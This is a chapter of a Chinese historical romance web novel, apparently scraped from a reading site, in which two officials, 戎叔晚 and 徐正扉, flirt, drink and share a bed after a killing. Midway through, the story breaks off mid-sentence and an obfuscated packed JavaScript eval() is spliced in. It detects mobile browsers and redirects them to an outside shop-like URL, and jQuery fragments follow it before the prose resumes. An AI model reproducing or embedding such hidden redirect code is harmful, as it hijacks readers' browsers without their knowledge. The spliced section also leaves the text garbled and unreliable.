19.019 醉太平

作品:《戎马踏秋棠

    戎叔晚将人扛回去,惊呆了一众侍卫。大家看着那个昔日神采飞扬、现今一副怏怏貌的徐大人挂在人肩头,默契地低下脸去。


    极有眼力见的仆子端来清水、脆盐,与人擦脸洗齿,伺候人靠在榻上。


    待诸众出去了,戎叔晚才坐在榻边,嘲笑捏他脸:“大人好不经吓,才说了要你谨慎,若是胆子小,别哭出来才好。你倒上赶着去舞刀弄剑。”


    徐正扉心有余悸,袍袖里的手直抖,“扉、实在做不来这等事。”


    戎叔晚面不改色地笑:“大人做不来?方才可是好威风呢。竟没想到,大人这样心狠,比我还毒辣,二话不说先杀个人解解气,果不愧是徐郎,这等手段,连我都自愧不如。”


    徐正扉瞪他:“还拿我开涮,你没瞧见我这双腿都是软的吗?”


    戎叔晚挑眉:“哦?还有哪儿是软的,我摸摸……”


    “啧。”徐正扉有气无力地打开他摸上来的手,“你这下流胚子。”


    戎叔晚将手停在他膝盖上,轻轻抚摸着:“我是瞧大人害怕,方才说个玩笑话与你逗趣儿。瞧你,不知好歹。”


    “与我口水喝。”徐正扉道:“怎的眼花口干……方才若不是强撑着,早就要晕过去了。”


    戎叔晚起身,竟到案前提着酒壶与他斟了一爵金酿:“豪饮一杯,与大人壮壮胆。”


    徐正扉才要辩,戎叔晚已经将酒杯递到他嘴边了。徐正扉狐疑看他一眼,抬杯豪饮下去,待一杯辣酒下肚,那发抖的手才缓歇几分。


    “那备好的酒菜还吃不吃了?”戎叔晚笑:“大人方才吐成那样,若是不吃,今晚倒要饿着肚子回家了。”


    徐正扉看他:“回家?”


    戎叔晚微怔:“……”


    “大人是又想赖在我家里不走了?”戎叔晚哼笑:“我府中还有两个厉害的‘娘子’守着呢,大人若不肯走,兴许有人要告黑状了。”


    ——“这能告什么黑状?”


    戎叔晚俯身,凑在他耳边,“大人不知道,太后那日与我说,若我要是不从,那相好的就要吃苦了。”


    徐正扉脸色一哂,别了别脸:“哪个相好的?”


    戎叔晚故作困惑,“兴许是说薛相公。薛相公与我旧相识,情深义重,恐怕除了他,也没旁人了。”


    徐正扉顿时竖眉,力气涨回来三分:“好你个戎先之,早先我说你,你不肯认,还说什么与他清白——这会子倒不藏着掖着了!”


    戎叔晚嗤嗤笑,用意味深长的目光看他,话里有话:“哦?不知关大人何事?大人这可是……”他捏住人的小腿,轻缓揉着:“吃醋了?”


    “呸。你这贼子好厚的脸皮,扉、扉为何要吃醋!”


    戎叔晚笑,“不吃醋最好。”停顿一晌,见人那眉不肯放下去,他才哄道:“好了好了——与大人说笑的。若你下榻,我恐太后眼线知道,咱们走得太近,于大人安危不利。”


    徐正扉刚要开口,戎叔晚便接着说下去了:“不过呢。也无妨。大人有我护着——毕竟太后也知道,大人是我的‘相好的’,更是这戎府的半个主人 。”


    “谁?!谁是你相好的。”


    徐正扉憋得脸都红了,这“相好的”一词儿怪异,听起来倒像是偷情一般。


    “谁下榻,自然就是说的谁。”戎叔晚追上他闪避的眼睛,坦诚道:“也是,大人与我这马奴相好,是有些委屈了。”


    徐正扉赶忙澄清:“哎,戎先之,我岂是那等势利眼!你勿要这样诬陷我——我可没说。”


    “哦。”戎叔晚凑近前,将人扣压在榻边,“那大人的意思是,与我相好不委屈,还乐意之至了?”


    那话颠倒黑白,可说话间的呼吸却近在咫尺。


    徐正扉想反驳,不知从何说起,只好视线乱躲。不自觉间……目光连戎叔晚那锋利的眉眼、两瓣薄唇轮廓都描摹得清晰。


    他越看越觉得心里乱沸,又慌又尴尬,一时间,竟猛地捂上脸,气急败坏道:“哎哟——我头晕。叫那死人吓得难受,戎、戎先之,将酒菜端过来与我吃两口吧。”


    戎叔晚笑出声,盯着他看了好一会儿才撤回身子来:“是——我伺候大人吃饭。”


    他将桌案撤回成阔窄榻桌,横在榻中,两人对坐。那神色带着莫名的深意,只一遍又一遍从徐正扉脸上扫过。


    徐正扉睨他:“你老看我做什么?扉脸上长出饭菜了不成?”


    “大人脸上倒是没有饭菜,只有两颊云霞。”戎叔晚忍笑:“大人知道的,我这人对红霞满天向来有兴致。”


    徐正扉强作淡定,忍着热脸佯作无事发生:“哦。那定然是你看错了。扉这人脸皮最厚,从不知红霞为何物。”


    戎叔晚垂眼,没答话,只端起酒杯来豪饮。


    徐正扉也不说话了,仿佛是为了掩饰突如其来的尴尬,他吃酒吃得急,还轻轻呛了两口。


    戎叔晚便朝前递帕子。


    徐正扉微怔,抬眼看他。


    戎叔晚见他不接,特意补了句:“我没用过,才新备下的。”


    这话才说完,两人同时反应过来了。戎叔晚抿唇,此地无银三百两地强调:“不是为大人特意备下的,只是……只是才换了新的,还没用过。”


    徐正扉接过帕子来,只轻抹过唇边,便匆匆一叠就塞进袖里了。


    戎叔晚伸手去接的手悬在那里。


    这一个打算要回去,另一个却不打算还。两人对视,同时别过脸去,氛围明显更尴尬了……


    徐正扉讪笑:“那个……你还要回去吗?我都用过了。”


    “我……”戎叔晚别扭道:“无妨,我洗洗还能用。”


    徐正扉:“……”


    不是,这人怎的恁小气呢!


    戎叔晚:“……”


    就知道这人最是贪心了。


    徐正扉不肯给:“那什么,这样多不好。你等我改日,还你个更好的,刚好我的也忘带了……”


    戎叔晚猛地探过身子去,从他襟领扯出一条旧帕子来,夹在指尖,分明不给他台阶下:“大人好忘事。这不是带了吗?”


    徐正扉都气笑了:“……”


    “我说戎先之,你就连一条帕子都舍不得给是吗?扉方才都说了,再还你更好的。”


    戎叔晚将指尖夹的那条帕子叠好,也如他这等塞进袖里:“也好。那大人这条我就先拿来用了……待大人什么时候送来,我再还给大人。”


    徐正扉撇嘴,轻哼了一声。


    戎叔晚偏偏不知死活,笑着说了句:“才捏过大人的帕子,竟连手指尖都是甜的,不知道大人身上,用了什么香?”


    徐正扉气哼哼地啐他:“扉乃大丈夫,什么甜不甜的?你这浪货,少腌臜人。”


    戎叔晚往前凑,低声笑:“大人误会了。我只是说帕子香甜,不曾说是大人。再说了,大人甜不甜,我又没吃过,我怎的知道?”


    徐正扉被人逼到无路可退,只好抬眼看他:“那依你的意思,我倒该邀请国尉来尝尝,到底甜不甜了?只怕大人吃起来,倒是辣的,到那时,鼻涕眼泪一块儿流,倒要丢人了。”


    戎叔晚悻悻收回身子,轻咳一声,蔫儿坏地调侃道:“这倒稀奇,世上竟还有辣人?”


    不知怎么回事儿,徐正扉反倒被人这话逗笑了。


    他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599458|186265||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    又气又恼,只得忍无可忍,“戎先之,你滚。”


    被一夜喝了三次“滚”的戎叔晚,直到酒过三巡,也没滚。不仅没滚,还迎来今儿头一个好脸色。


    徐正扉笑眯眯地扯着人的胳膊:“那什么,戎先之,你先别走。”


    戎叔晚站定:“大人吃醉了,还是早些休息。”


    徐正扉道:“你……你这地方,”他说着抬起头来四处瞧:“可安全?半夜不会有……有人闯进来吧?”


    戎叔晚心知肚明,忍笑道:“人?大人说的若是人,那便是安全的。若是旁的嘛……就未必了。”


    徐正扉战战兢兢,“你……再陪我待会儿。”


    戎叔晚道:“那可不好,我困得很。”说着,他又凑近人,轻声道:“听说,人死前七日,那魂灵都在世上乱飘,该报仇报怨的,都去寻了。待头七过后,方才能过鬼门,安稳投胎呢。”


    徐正扉被人吓得头皮发麻,他咬牙:“戎先之,你休要吓唬人。什么魂儿啊鬼啊的,扉可不怕。”


    “大人不怕就好。”戎叔晚低头,只瞧见自己胳膊被人攥的极紧:“不怕就快些松开我,我要去休息了……”


    徐正扉被人扯开,又迅速攀上去,慌道:“不是,等会儿,等会儿。戎先之,我还有事与你聊,再坐会儿。”


    戎叔晚抱胸倚靠在床边,闭目养神道:“何事?大人直说吧。”


    徐正扉躺在那儿,与人没话找话:“你说,人死了还真能寻仇吗?”


    戎叔晚忍笑,拿他教过的话堵他:“大人不是说过吗?子不语怪力乱神。”


    “子不语,子不语!又不是子不信。你这人心狠手辣,仇家众多,自然是不怕……”


    他念叨,戎叔晚就有一搭没一搭地回应。


    直至醉意和困意袭来,徐正扉声音明显轻下去,过了一阵,连呼吸都均匀了。戎叔晚想起身,却发觉自己的袍角被人扯住,攥得死死的。


    他试着去掰人的手指头,却将徐正扉吓得一个激灵,惊醒过来。


    短暂的梦魇作祟,在彻底睡过去之前,头脑里的恐惧瞬间还在闪回,眼前的血迹浓重,此刻,他醒过来,大口大口呼吸,仿佛还能嗅到那血腥之气。


    戎叔晚被那惨白的脸色惊住,忙替他擦去额头上的细汗,“大人怎么能吓成这样?”


    徐正扉扑挂在他身上,“戎叔晚,你好人做到底。”


    戎叔晚顺势捞住人,单手抱紧。


    这会儿瞧见人吓得不轻,他正要说两句温情的话安慰,徐正扉就大言不惭道:“都是戎叔晚指使我干的,谁若想寻仇……万万也别找我。”


    戎叔晚哭笑不得:“我守着大人,大人就是这样冤枉好人的?”


    徐正扉看他,神色无辜:“你身强力壮……”


    戎叔晚俯身,将挂在他身上的人塞进被子里。然后背过身去扯开外袍,神色平静熟稔地往床边一躺:“大人靠里些……”


    徐正扉乖乖靠里。


    他好似睡不着,翻来覆去闹出点窸窣动静来。戎叔晚闭着眼睛问:“大人怎么总是这样?这里不比牢房,总没有虱子咬人吧?”


    徐正扉道:“戎叔晚,你能不能……”他拍了拍两人之间的巨大空隙:“睡过来点。”


    戎叔晚忽然睁开眼——


    他撑起肘来,翻身将人捞过来,两人身体挨着,那强壮的胸膛就抵在徐正扉肩头,他俯身凑得更近一些,呼吸落在人耳边:“大人到底是真怕,还是假意诱我入局?”


    徐正扉耳朵发烫:“什、什么?”


    那笑意更低下去:“长夜漫漫,若大人实在睡不着,咱们做点别的事儿,可好?”